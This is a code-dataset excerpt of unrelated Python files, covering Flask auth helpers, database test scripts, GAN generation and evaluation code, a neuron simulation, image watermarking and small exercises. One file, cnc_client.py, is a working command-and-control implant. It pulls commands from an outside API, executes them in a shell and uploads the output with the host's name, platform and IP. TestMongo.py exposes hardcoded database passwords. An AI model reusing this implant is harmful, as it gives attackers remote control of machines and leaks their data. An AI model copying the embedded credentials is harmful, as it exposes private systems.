flask.session['id'] = reader.id\n return f(reader, *args, **kwds)\n flask.abort(code=403)\n return _wrapper\n\n\ndef set_user_locale(locale):\n \"\"\"returns False if not a valid locale, otherwise sets a user's locale\"\"\"\n if locale not in flask.current_app.config['LOCALE']:\n return False\n user = get_user(abort_none=False)\n if user:\n model.User.update_properties(user.id, {'locale': locale, 'language': locale})\n return True\n\n\ndef get_uuid(user=None):\n \"\"\"Used for identifiying guest users.\n\n Used in voting functions.\n \"\"\"\n if user: # If user is set returns user.\n return user\n\n if flask.session.get('guest_uuid'): # Check if uuid in session exists.\n return flask.session['guest_uuid']\n\n return flask.request.remote_addr\n\n\ndef get_country():\n \"\"\"Used for identifiying current country base on ip address.\"\"\"\n try:\n country = gi.country_code_by_addr(flask.request.remote_addr)\n return model.User.COUNTRY_DECODE[country]\n except:\n return 0\n\n\ndef get_browsing_country():\n reader = get_user()\n if reader and reader.browsing_country:\n return model.User.COUNTRY_DECODE.get(reader.browsing_country, 0)\n return get_country() or 0\n\n\ndef optional_token(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n token = flask.request.values.get('token')\n reader = None\n if token:\n reader = model.User.get_by_token(token)\n if reader:\n #instant login\n flask.session['id'] = reader.id\n return f(reader, *args, **kwds)\n return _wrapper\n\n\ndef api_require_reader(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n token = flask.request.values.get('token')\n reader = None\n if token:\n reader = model.User.get_by_token(token)\n if not reader:\n reader = get_user()\n if not reader:\n flask.abort(code=403)\n return f(reader, *args, **kwds)\n return _wrapper\n\n\ndef api_optional_reader(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n token = flask.request.values.get('token')\n reader = None\n if token:\n reader = model.User.get_by_token(token)\n if not reader:\n reader = get_user(abort_none=False)\n return f(reader, *args, **kwds)\n return _wrapper\n\n\ndef wrap_jsonp(f):\n \"\"\"Wraps JSONified output for JSONP\n\n copied from https://gist.github.com/aisipos/1094140\n return a dictionary, not dump_json\n \"\"\"\n @functools.wraps(f)\n def decorated_function(*args, **kwargs):\n callback = flask.request.args.get('callback', False)\n if callback:\n content = str(callback) + '(' + str(f(*args, **kwargs).data) + ')'\n return flask.current_app.response_class(content, mimetype='application/javascript')\n else:\n return f(*args, **kwargs)\n return decorated_function\n\n\ndef pub(channel, command, data):\n \"\"\"Use this function to publish to redis\n @param channel: Channel or room\n @param command: Command type\n @param data: Data payload\n \"\"\"\n data = {\n 'cmd': command,\n 'body': data,\n }\n r.publish(channel, json.dumps(data))\n\n### applications\nimport api\nimport api2\nimport pc\nimport component\nimport sm\n","sub_path":"apps/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"222995926","text":"import pymongo\nimport dbapi\n\n\ngconn = pymongo.MongoClient('mongodb://192.168.30.172:3717')\ngconn.bike_qa.authenticate('bike_qa', '2XDNNh6Tp82GneCywHcRJXFQJuYDQRyH', mechanism='SCRAM-SHA-1')\nbike_location = location = gconn.bike_qa.d_bike_location\nbike_move_record = gconn.bike_qa.d_bike_move_record\n\n\nr = dict()\nr[\"distance\"] = 0\nsession = None\ntry:\n number = \"3301000030\"\n connection = \"mysql+mysqldb://bike:QEj5edLxZDFlFZOh@192.168.30.173:3306/bike_qa?charset=utf8\"\n session = dbapi.get_scoped_session(connection)\n bikes = list(bike_location.find({\"_id\": number}))\n if bikes:\n coordinate = bikes[0][\"coordinate\"]\n r.update(coordinate)\n else:\n r.setdefault(\"latitude\", 30.288775)\n r.setdefault(\"longitude\", 120.01496)\n sql = \"\"\"select t1.id,t1.battery_id,t2.number as battery_number from d_bike t1 \n left join d_battery t2 on t1.battery_id = t2.id and t2.link_type=0 and t2.link_id=t1.id\n where t1.number = :number\"\"\"\n row = session.execute(sql, {\"number\": number}).fetchone()\n if row:\n r[\"id\"] = row[\"id\"]\n r[\"battery_id\"] = row[\"battery_id\"]\n r[\"battery_number\"] = row[\"battery_number\"]\n open('/tmp/d.log','a+').write(str(r['id'])+ '\\n')\n records = list(bike_move_record.find({\"bikeId\": row[\"id\"]}).sort([(\"addTime\", -1)]).limit(1))\n open('/tmp/d.log','a+').write(str(records) +'\\n')\n print(\"records\")\n print(records)\n if records:\n record = records[0]\n r[\"distance\"] = record[\"currentMileage\"]\n r.update(record[\"coordinate\"])\n sql = \"\"\"select * from d_battery where id=:battery_id\"\"\"\n drow = session.execute(sql, {\"battery_id\": row[\"battery_id\"]}).fetchone()\n if drow:\n r[\"power\"] = drow[\"power\"]\nexcept:\n print(\"出现错误了\")\n\nif session:\n session.commit()\n\nprint(\"wyn text id is %s\" % r['id'])\n","sub_path":"TestMongo.py","file_name":"TestMongo.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647612897","text":"import pickle\nimport numpy as np\nfrom PIL import Image\nimport os\nfrom StringIO import StringIO\nimport math\nimport pylab\n\n\nimport chainer\nfrom chainer import computational_graph\nfrom chainer import cuda\nfrom chainer import optimizers\nfrom chainer import serializers\nfrom chainer import Variable\nfrom chainer.utils import type_check\nfrom chainer import function\n\nimport chainer.functions as F\nimport chainer.links as L\n\nfrom gensim.models import word2vec\n\nimport numpy\nimport argparse\n\nfrom utils import Parser\n\nparser = Parser()\nepoch = str(parser.get_argument('epoch'))\ngpuid = parser.get_argument('gpuid')\nq = parser.get_argument('query')\n\n\nnz = 100\n\nw2vmodel = word2vec.Word2Vec.load(\"./w2vmodel/sample.model\")\nw2vdim = 200\n\nmodel_file = 'dcgan_model_gen_'+epoch+'.h5'\nout_file = 'output.png'\n\n\nclass Generator(chainer.Chain):\n def __init__(self):\n super(Generator, self).__init__(\n fc = L.Linear(w2vdim*3, 128, wscale=0.02*math.sqrt(w2vdim*3)),\n l0z = L.Linear(nz+128, 6*6*512, wscale=0.02*math.sqrt(nz+128)),\n dc1 = L.Deconvolution2D(512, 256, 4, stride=2, pad=1, wscale=0.02*math.sqrt(4*4*512)),\n dc2 = L.Deconvolution2D(256, 128, 4, stride=2, pad=1, wscale=0.02*math.sqrt(4*4*256)),\n dc3 = L.Deconvolution2D(128, 96, 4, stride=2, pad=1, wscale=0.02*math.sqrt(4*4*128)),\n dc4 = L.Deconvolution2D(96, 3, 4, stride=2, pad=1, wscale=0.02*math.sqrt(4*4*96)),\n bn = L.BatchNormalization(128),\n bn0l = L.BatchNormalization(6*6*512),\n bn0 = L.BatchNormalization(512),\n bn1 = L.BatchNormalization(256),\n bn2 = L.BatchNormalization(128),\n bn3 = L.BatchNormalization(96),\n )\n \n def __call__(self, z, y, test=False):\n label = F.relu(self.bn(self.fc(y), test=test))\n z = F.concat((z, label), axis=1)\n h = F.reshape(F.relu(self.bn0l(self.l0z(z), test=test)), (z.data.shape[0], 512, 6, 6))\n h = F.relu(self.bn1(self.dc1(h), test=test))\n h = F.relu(self.bn2(self.dc2(h), test=test))\n h = F.relu(self.bn3(self.dc3(h), test=test))\n x = (self.dc4(h))\n return x\n\n\n\ndef clip_img(x):\n\treturn np.float32(-1 if x<-1 else (1 if x>1 else x))\n\nxp = numpy\ngen = Generator()\n\nserializers.load_hdf5(\"out_models/\"+model_file, gen)\n\n\npylab.rcParams['figure.figsize'] = (22.0,22.0)\npylab.clf()\nvissize = 100\n\nlatentvec = np.zeros((100, 200*3), dtype=np.float32)\nvec1 = np.array(list(w2vmodel[q[0]])) #tag\nvec2 = np.array(list(w2vmodel[q[1]])) #tag\nvec3 = np.array(list(w2vmodel[q[2]])) #tag\nvec1 /= np.linalg.norm(vec1)\nvec2 /= np.linalg.norm(vec2)\nvec3 /= np.linalg.norm(vec3)\nvec = np.r_[vec1, vec2, vec3]\n\n\nfor i in range(100):\n latentvec[i] = vec\n\nz = Variable(xp.random.uniform(-1, 1, (100, 100)).astype('float32'))\ny = Variable(latentvec)\n\nx = gen(z, y, test=True)\nx = x.data\n\nfor i_ in range(100):\n tmp = ((np.vectorize(clip_img)(x[i_,:,:,:])+1)/2).transpose(1,2,0)\n pylab.subplot(10,10,i_+1)\n pylab.imshow(tmp)\n pylab.axis('off')\npylab.savefig(out_file)\n\n","sub_path":"visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"144429001","text":"from deportament import Deportament\nfrom manage import Manage\nfrom person import Person\n\n\n\n\nbob = Person('Bob Smit','dev',3000)\nlot = Person('Lot Smit','dev',3000)\ngut = Manage('Gut Smit',300)\n\ndevelop = Deportament(bob,lot,gut)\n\nimport shelve\n\ndb = shelve.open('Person_Develop')\n\nfor obj in bob,lot,gut:\n db[obj.name] = obj\n\ndb.close()\n\n\n\nif __name__ == \"__main__\":\n db = shelve.open('Person_Develop')\n\n print(db['Bob Smit'])\n def vglub(element,count = 3):\n \n print('.'*count,element)\n count +=3\n for key in element.__bases__:\n vglub(key,count)\n def instance(clas):\n vglub(clas.__class__)\n\n instance(db['Bob Smit'])","sub_path":"lsPerson/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"273757972","text":"# Add Two Numbers\n# time: O(n)\n# space: O(n)\n\"\"\"\nInput: (2 -> 4 -> 3) + (5 -> 6 -> 4)\nOutput: 7 -> 0 -> 8\n\ncarry = 0\nnew_ll = 7 -> 0 -> 8\n *\n(2 -> 4 -> 3)\n\n *\n(5 -> 6 -> 4)\n\n\n\"\"\"\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n carry = 0\n previous = head = None\n while l1 or l2:\n current = None\n l1_val = l1.val if l1 else 0 #get value of l1_val\n l2_val = l2.val if l2 else 0 #get value of l2_val\n summed = l1_val + l2_val #do a sum of both values\n if summed + carry > 9:\n digit = (summed + carry) - 10 #subtract by 10 to get it in ones position\n current = ListNode(digit)\n carry = 1\n else:\n current = ListNode(summed + carry)\n carry = 0\n if l1: #checks if still l1\n l1 = l1.next\n if l2: #checks if still l2\n l2 = l2.next\n if previous: #assign current onto the linked list\n previous.next = current\n if not head: #assgn head\n head = current\n previous = current\n if carry: #get the straggler\n current = ListNode(carry)\n previous.next = current\n return head\n ","sub_path":"Facebook/linked_list/add_two_numbers.py","file_name":"add_two_numbers.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51308799","text":"# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Utility and helper functions for 'twisted' library use and integration.\"\"\"\n\nimport urlparse\n\nfrom twisted.web.http_headers import Headers\n\n__all__ = [\n 'CloneHeaders',\n 'ToRelativeURL',\n 'RelativeURLJoin',\n]\n\n\ndef CloneHeaders(headers):\n \"\"\"Clones (or creates) a HTTP Headers object.\n\n Args:\n headers: (Headers or None) If None, a new empty Headers object is created;\n otherwise, the Headers object to clone.\n Returns: (Headers) An independent clone of the initial Headers object.\n \"\"\"\n if headers is None:\n return Headers()\n return Headers(dict(headers.getAllRawHeaders()))\n\ndef ToRelativeURL(path):\n \"\"\"Converts a URL path into a relative URL path.\n\n This function transforms a URL into a relative URL by stripping initial\n separators.\n\n Args:\n path: (str) The base URL\n Returns: (str) The relative URL\n \"\"\"\n while path.startswith('/'):\n path = path[1:]\n return path\n\ndef RelativeURLJoin(base, path):\n \"\"\"Constructs a URL by concatenating a relative path to a base URL.\n\n This function is more forgiving than 'urlparse.urljoin' in that it will\n automatically format 'base' and 'path' such that they become absolute and\n relative URLs respectively.\n\n Args:\n base: (str) The base URL\n path: (str) The relative URL path to join\n Returns: (str) The constructed URL\n \"\"\"\n if not base.endswith('/'):\n base = base + '/'\n return urlparse.urljoin(\n base,\n ToRelativeURL(path)\n )\n","sub_path":"scripts/common/twisted_util/agent_util.py","file_name":"agent_util.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"310815406","text":"# canvas\ncanvas_width = 500\ncanvas_height = 700\n\n# game world\nMONSTER = 0\nBOSS = 1\nPLAYER = 2\nEFFECT = 3\nBOSS_BULLET = 4\nBULLET_PLAYER = 5\nCOIN = 6\nBULLET = 7\nUIDEFAULT = 8\nUIINGAME = 9\nMOUSE = 10\n\n# speed meter\nPIXEL_PER_METER = (10.0 / 0.3) # 10 pixel 30 cm","sub_path":"static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"285184244","text":"\"\"\"\nCompute\nInception Score (IS),\nFrechet Inception Discrepency (FID), ref \"https://github.com/mseitzer/pytorch-fid/blob/master/fid_score.py\"\nMaximum Mean Discrepancy (MMD)\nfor a set of fake images\n\nuse numpy array\nXr: high-level features for real images; nr by d array\nYr: labels for real images\nXg: high-level features for fake images; ng by d array\nYg: labels for fake images\nIMGSr: real images\nIMGSg: fake images\n\n\"\"\"\n\nimport os\nimport gc\nimport numpy as np\n# from numpy import linalg as LA\nfrom scipy import linalg\nimport torch\nimport torch.nn as nn\nfrom scipy.stats import entropy\nfrom torch.nn import functional as F\nfrom torchvision.utils import save_image\n\nfrom utils import SimpleProgressBar, IMGs_dataset\n\n\ndef normalize_images(batch_images):\n batch_images = batch_images/255.0\n batch_images = (batch_images - 0.5)/0.5\n return batch_images\n\n##############################################################################\n# FID scores\n##############################################################################\n# compute FID based on extracted features\ndef FID(Xr, Xg, eps=1e-10):\n '''\n The Frechet distance between two multivariate Gaussians X_1 ~ N(mu_1, C_1)\n and X_2 ~ N(mu_2, C_2) is\n d^2 = ||mu_1 - mu_2||^2 + Tr(C_1 + C_2 - 2*sqrt(C_1*C_2)).\n '''\n #sample mean\n MUr = np.mean(Xr, axis = 0)\n MUg = np.mean(Xg, axis = 0)\n mean_diff = MUr - MUg\n #sample covariance\n SIGMAr = np.cov(Xr.transpose())\n SIGMAg = np.cov(Xg.transpose())\n\n # Product might be almost singular\n covmean, _ = linalg.sqrtm(SIGMAr.dot(SIGMAg), disp=False)#square root of a matrix\n covmean = covmean.real\n if not np.isfinite(covmean).all():\n msg = ('fid calculation produces singular product; '\n 'adding %s to diagonal of cov estimates') % eps\n print(msg)\n offset = np.eye(SIGMAr.shape[0]) * eps\n covmean = linalg.sqrtm((SIGMAr + offset).dot(SIGMAg + offset))\n\n #fid score\n fid_score = mean_diff.dot(mean_diff) + np.trace(SIGMAr + SIGMAg - 2*covmean)\n\n return fid_score\n\n##test\n#Xr = np.random.rand(10000,1000)\n#Xg = np.random.rand(10000,1000)\n#print(FID(Xr, Xg))\n\n# compute FID from raw images\ndef cal_FID(PreNetFID, IMGSr, IMGSg, batch_size = 500, resize = None, norm_img = False):\n #resize: if None, do not resize; if resize = (H,W), resize images to 3 x H x W\n \n PreNetFID.eval()\n\n nr = IMGSr.shape[0]\n ng = IMGSg.shape[0]\n\n nc = IMGSr.shape[1] #IMGSr is nrxNCxIMG_SIExIMG_SIZE\n img_size = IMGSr.shape[2]\n\n if batch_size > min(nr, ng):\n batch_size = min(nr, ng)\n # print(\"FID: recude batch size to {}\".format(batch_size))\n\n #compute the length of extracted features\n with torch.no_grad():\n test_img = torch.from_numpy(IMGSr[0].reshape((1,nc,img_size,img_size))).type(torch.float).cuda()\n if resize is not None:\n test_img = nn.functional.interpolate(test_img, size = resize, scale_factor=None, mode='bilinear', align_corners=False)\n if norm_img:\n test_img = normalize_images(test_img)\n # _, test_features = PreNetFID(test_img)\n test_features = PreNetFID(test_img)\n d = test_features.shape[1] #length of extracted features\n\n Xr = np.zeros((nr, d))\n Xg = np.zeros((ng, d))\n\n #batch_size = 500\n with torch.no_grad():\n tmp = 0\n pb1 = SimpleProgressBar()\n for i in range(nr//batch_size):\n imgr_tensor = torch.from_numpy(IMGSr[tmp:(tmp+batch_size)]).type(torch.float).cuda()\n if resize is not None:\n imgr_tensor = nn.functional.interpolate(imgr_tensor, size = resize, scale_factor=None, mode='bilinear', align_corners=False)\n if norm_img:\n imgr_tensor = normalize_images(imgr_tensor)\n # _, Xr_tmp = PreNetFID(imgr_tensor)\n Xr_tmp = PreNetFID(imgr_tensor)\n Xr[tmp:(tmp+batch_size)] = Xr_tmp.detach().cpu().numpy()\n tmp+=batch_size\n # pb1.update(min(float(i)*100/(nr//batch_size), 100))\n pb1.update(min(max(tmp/nr*100,100), 100))\n del Xr_tmp,imgr_tensor; gc.collect()\n torch.cuda.empty_cache()\n\n tmp = 0\n pb2 = SimpleProgressBar()\n for j in range(ng//batch_size):\n imgg_tensor = torch.from_numpy(IMGSg[tmp:(tmp+batch_size)]).type(torch.float).cuda()\n if resize is not None:\n imgg_tensor = nn.functional.interpolate(imgg_tensor, size = resize, scale_factor=None, mode='bilinear', align_corners=False)\n if norm_img:\n imgg_tensor = normalize_images(imgg_tensor)\n # _, Xg_tmp = PreNetFID(imgg_tensor)\n Xg_tmp = PreNetFID(imgg_tensor)\n Xg[tmp:(tmp+batch_size)] = Xg_tmp.detach().cpu().numpy()\n tmp+=batch_size\n # pb2.update(min(float(j)*100/(ng//batch_size), 100))\n pb2.update(min(max(tmp/ng*100, 100), 100))\n del Xg_tmp,imgg_tensor; gc.collect()\n torch.cuda.empty_cache()\n\n\n fid_score = FID(Xr, Xg, eps=1e-6)\n\n return fid_score\n\n\n\n\n\n\n##############################################################################\n# label_score\n# difference between assigned label and predicted label\n##############################################################################\ndef cal_labelscore(PreNet, images, labels_assi, min_label_before_shift, max_label_after_shift, batch_size = 200, resize = None, norm_img = False, num_workers=0):\n '''\n PreNet: pre-trained CNN\n images: fake images\n labels_assi: assigned labels\n resize: if None, do not resize; if resize = (H,W), resize images to 3 x H x W\n '''\n\n PreNet.eval()\n\n # assume images are nxncximg_sizeximg_size\n n = images.shape[0]\n nc = images.shape[1] #number of channels\n img_size = images.shape[2]\n labels_assi = labels_assi.reshape(-1)\n\n eval_trainset = IMGs_dataset(images, labels_assi, normalize=False)\n eval_dataloader = torch.utils.data.DataLoader(eval_trainset, batch_size=batch_size, shuffle=False, num_workers=num_workers)\n\n labels_pred = np.zeros(n+batch_size)\n\n nimgs_got = 0\n pb = SimpleProgressBar()\n for batch_idx, (batch_images, batch_labels) in enumerate(eval_dataloader):\n batch_images = batch_images.type(torch.float).cuda()\n batch_labels = batch_labels.type(torch.float).cuda()\n batch_size_curr = len(batch_labels)\n\n if norm_img:\n batch_images = normalize_images(batch_images)\n\n batch_labels_pred, _ = PreNet(batch_images)\n labels_pred[nimgs_got:(nimgs_got+batch_size_curr)] = batch_labels_pred.detach().cpu().numpy().reshape(-1)\n\n nimgs_got += batch_size_curr\n pb.update((float(nimgs_got)/n)*100)\n\n del batch_images; gc.collect()\n torch.cuda.empty_cache()\n #end for batch_idx\n\n labels_pred = labels_pred[0:n]\n\n\n labels_pred = (labels_pred*max_label_after_shift)-np.abs(min_label_before_shift)\n labels_assi = (labels_assi*max_label_after_shift)-np.abs(min_label_before_shift)\n\n ls_mean = np.mean(np.abs(labels_pred-labels_assi))\n ls_std = np.std(np.abs(labels_pred-labels_assi))\n\n return ls_mean, ls_std\n","sub_path":"UTKFace/cDR-RS/eval_metrics.py","file_name":"eval_metrics.py","file_ext":"py","file_size_in_byte":7168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"277624697","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom collections import Iterable\n\n# 验证对象是否为可迭代的对象,可迭代对象可以用for...in...\nprint(isinstance('abc', Iterable))\nprint(isinstance(123, Iterable))\nfor ch in 'ABC':\n print(ch)\n\n# Python内置的enumerate函数可以把一个list变成索引-元素对\nfor i, value in enumerate(['A', 'B', 'C']):\n print(i, value)\n\nfor x, y in [(1, 1), (2, 4), (3, 9)]:\n print(x, y)\n\n\ndef findMinAndMax(L):\n if L is None or L == []:\n return (None, None)\n minValue = maxValue = L[0]\n for i in L:\n minValue = min(minValue, i)\n maxValue = max(maxValue, i)\n return (minValue, maxValue)\n\n\n# 测试\nif findMinAndMax([]) != (None, None):\n print('测试失败!')\nelif findMinAndMax([7]) != (7, 7):\n print('测试失败!')\nelif findMinAndMax([7, 1]) != (1, 7):\n print('测试失败!')\nelif findMinAndMax([7, 1, 3, 9, 5]) != (1, 9):\n print('测试失败!')\nelse:\n print('测试成功!')\n\n# 凡是可作用于for循环的对象都是Iterable类型\n# 凡是可作用于next()函数的对象都是Iterator类型,它们表示一个惰性计算的序列\n# 集合数据类型如list、dict、str等是Iterable但不是Iterator,不过可以通过iter()函数获得一个Iterator对象\n# 把list、dict、str等Iterable变成Iterator可以使用iter()函数\n\nfor x in [1, 2, 3, 4, 5]:\n print(x)\n\nit = iter([1, 2, 3, 4, 5])\nwhile True:\n try:\n print(next(it))\n except StopIteration:\n break\n","sub_path":"advance/do_iter.py","file_name":"do_iter.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"232198316","text":"# -*- coding: utf8 -*-\r\nimport os \r\nimport sys\r\nimport getopt\r\nimport re\r\n#寻找一个特定模式的文件名,并且改名\r\nfrom PIL import Image, ImageEnhance\r\n \r\n#MARK_X=285\r\n#MARK_Y=805\r\n#MARK_WIDTH=185\r\n#MARK_HEIGHT=185\r\nMARK_X=110\r\nMARK_Y=1126\r\nMARK_WIDTH=156\r\nMARK_HEIGHT=156\r\npath_obj = r\"obj\\obj.jpg\"\r\npath_src = r\"src\"\r\npath_output = \"output\"\r\nimg_obj = None\r\npattern = r\"(\\.jpg|\\.png)$\"\r\nregexObject = re.compile(pattern, flags=0)\r\n\r\n\r\n\r\ndef set_opacity(im, opacity):\r\n \"\"\"设置透明度\"\"\"\r\n \r\n assert opacity >=0 and opacity < 1\r\n if im.mode != \"RGBA\":\r\n im = im.convert('RGBA')\r\n else:\r\n im = im.copy()\r\n alpha = im.split()[3]\r\n alpha = ImageEnhance.Brightness(alpha).enhance(opacity)\r\n im.putalpha(alpha)\r\n return im\r\n \r\ndef watermark(im, mark, opacity=1):\r\n \"\"\"添加水印\"\"\"\r\n \r\n try:\r\n if opacity < 1:\r\n mark = set_opacity(mark, opacity)\r\n if im.mode != 'RGBA':\r\n im = im.convert('RGBA')\r\n #if im.size[0] < mark.size[0] or im.size[1] < mark.size[1]:\r\n #print \"The mark image size is larger size than original image file.\"\r\n #return False\r\n \r\n #设置水印位置\r\n x=MARK_X\r\n y=MARK_Y\r\n\r\n layer = im.copy()\r\n layer.paste(mark,(x,y))\r\n return layer\r\n\r\n #layer = Image.new('RGBA', im.size,)\r\n #layer.paste(mark,(x,y))\r\n #return Image.composite(layer, im, layer)\r\n\r\n except Exception as e:\r\n print(\">>>>>>>>>>> WaterMark EXCEPTION: \" + str(e))\r\n return False\r\n \r\n\r\n\r\n#if __name__ == '__main__':\r\n# water_path = \"E:/water/logo.jpg\"\r\n# dir_path = \"H:/hx/bj/\"\r\n# mark = Image.open(water_path) #水印\r\n# dirlist(dir_path,mark)\r\n\r\n\r\ndef walk(rootDir,process=None):\r\n if process is None:\r\n process = print \r\n for lists in os.listdir(rootDir): \r\n try:\r\n path = os.path.join(rootDir, lists)\r\n process(path)\r\n if os.path.isdir(path) and not path.endswith(path_output): \r\n walk(path,process) \r\n except PermissionError: \r\n pass \r\n\r\ndef process(name):\r\n found = regexObject.findall(name)\r\n if found is not None and found.__len__()>0 and found[0].__len__()>0 :\r\n \r\n qr = Image.open(name)\r\n qr = qr.resize((MARK_WIDTH,MARK_HEIGHT),Image.ANTIALIAS)\r\n\r\n image_qr = watermark(img_obj,qr)\r\n\r\n file_name_only =os.path.basename(name)\r\n path_name_only = os.path.dirname(name)\r\n save_path = os.path.join(path_name_only,path_output)\r\n save_file = os.path.join(path_name_only,path_output,file_name_only)\r\n\r\n if not os.path.exists(save_path):\r\n os.makedirs(save_path)\r\n image_qr.save(save_file)\r\n\r\n print(name)\r\n\r\ndef main(argv=None):\r\n global img_obj\r\n\r\n if argv is None:\r\n argv = sys.argv\r\n\r\n if argv.__len__() >1:\r\n path = argv[1]\r\n else:\r\n path = os.curdir\r\n\r\n img_path = os.path.join(path,path_obj)\r\n img_obj = Image.open(img_path)\r\n\r\n path=os.path.join(path,path_src)\r\n\r\n walk(path,process)\r\n\r\n return 0\r\n\r\n\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\n\r\n","sub_path":"batchaddqr.py","file_name":"batchaddqr.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"109376856","text":"from brian2 import *\nimport matplotlib.pyplot as plt\n\ndefaultclock.dt = 0.1*ms\n\nC_m = 100.*pF # Membrane capacitance\ng_L = 9.*nS # Leak conductance\nE_0 = -62.5*mV # Resting potential\nV_th = -59.*mV # Spike generation threshold\nV_reset = -62.*mV # reset potential\nI_e = 0.*pA # Constant input current\n\nE_u = -58.5*mV # upper potential\nalpha = 1. # energetic health\nE_d = -40.*mV # energy depletion potential\nE_f = -62.*mV # energy inflexion potential\nepsilon_0 = 0.5 # standard resting energy level\nepsilon_c = 0.18 # energy threshold for spike generation\ndelta = 0.01 # energy consumption per spike\ntau_e = 200.*ms # time constant for energy production\n\nN = 1\n\neqs = \"\"\"\nE_L = E_0 + (E_u - E_0)*(1-epsilon/epsilon_0) : volt\n\ndV_m/dt = (g_L*(E_L-V_m) + I_e) / C_m : volt\ndepsilon/dt = ((1-epsilon/(alpha*epsilon_0))**3 - (V_m-E_f)/(E_d-E_f)) / tau_e : 1\n\"\"\"\n\nneuron = NeuronGroup(N, model=eqs, threshold='V_m > V_th and epsilon > epsilon_c',\n reset=\"V_m = V_reset; epsilon -= delta\",\n method='rk4')\nneuron.V_m = -61*mV\nneuron.epsilon = 0.32\n\ninit_time = 3*second\nrun(init_time, report='text') # we let the neuron relax to equilibrium\n\n# record the state variables and run the simulation\nspikes = SpikeMonitor(neuron)\nstates = StateMonitor(neuron, (\"V_m\", \"epsilon\"), record=True,\n when='start')\n\nfor I_e in np.linspace(0, 120, 10)*pA:\n run(1 * second, report='text')\n I_e = 0*pA\n run(10 * second, report='text')\n\n# Get the values of V and epsilon\nV = states.V_m[0] / mV\ne = states.epsilon[0]\ntt = states.t / ms\n\npos = np.digitize(spikes.t / ms, tt) - 1\nV[pos] = -10.\n\nfig, (ax1, ax2) = plt.subplots(2, sharex=True)\n\nax1.plot(tt, V)\nax1.set_ylabel('V (mV)')\n\nax2.plot(tt, e)\nax2.set_ylabel('epsilon')\nax2.set_xlabel('Time (ms)')\n\nplt.show()\n","sub_path":"elif_brian_impl.py","file_name":"elif_brian_impl.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"360605281","text":"import numpy as np\nimport h5py\n\n\ndef load_cats(train_file, test_file):\n train_dataset = h5py.File(train_file, \"r\")\n # your train set features\n x_train = np.array(train_dataset[\"train_set_x\"][:])\n # your train set labels\n y_train = np.array(train_dataset[\"train_set_y\"][:])\n\n test_dataset = h5py.File(test_file, \"r\")\n # your test set features\n x_test = np.array(test_dataset[\"test_set_x\"][:])\n y_test = np.array(test_dataset[\"test_set_y\"][:]) # your test set labels\n\n classes = np.array(test_dataset[\"list_classes\"][:]) # the list of classes\n\n y_train = y_train.reshape((1, y_train.shape[0]))\n y_test = y_test.reshape((1, y_test.shape[0]))\n\n return x_train, y_train, x_test, y_test, classes\n","sub_path":"utils/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"288021739","text":"import requests\nimport platform\nimport subprocess\nimport socket\napi_url = \"https://zkkpj4z2xc.execute-api.ca-central-1.amazonaws.com/dev\"\ndef get_ip():\n # get ip and remove extra garb\n # use urllib3 cause its built in\n \n r = requests.get('http://ipinfo.io/ip')\n return r.text.rstrip('\\n')\n\ndef get_instructions(api_url):\n r = requests.get(api_url + '/q')\n return r.json()['command']\n\ndef upload(api_url, hostname, platform, ip, command_output):\n \"\"\" hostname = request.json.get('hostname', 'n/a')\n ip_addr = request.json.get('ip', 'n/a')\n response = request.json.get('response', 'n/a')\n platform = request.json.get('platform', 'n/a')\n \"\"\"\n \n new_url = api_url + '/a'\n r = requests.post(\n new_url,\n json={\n \"hostname\": hostname,\n \"ip\": ip,\n \"response\": command_output,\n \"platform\": platform\n })\n \ndef run_command(command_to_run):\n return subprocess.getoutput(command_to_run)\n\n\nhostname = socket.gethostname()\nplatform = platform.platform()\ncommand_to_run = get_instructions(api_url)\nip = get_ip()\ncommand_output = run_command(command_to_run)\nupload(api_url, hostname, platform, ip, command_output)","sub_path":"cnc_client.py","file_name":"cnc_client.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"281524055","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time\nimport gettext\nimport traceback\nfrom ikabot.config import *\nfrom ikabot.helpers.botComm import *\nfrom ikabot.helpers.signals import setInfoSignal\nfrom ikabot.helpers.process import forkear\nfrom ikabot.helpers.gui import enter\n\nt = gettext.translation('entrarDiariamente', \n localedir, \n languages=idiomas,\n fallback=True)\n_ = t.gettext\n\ndef 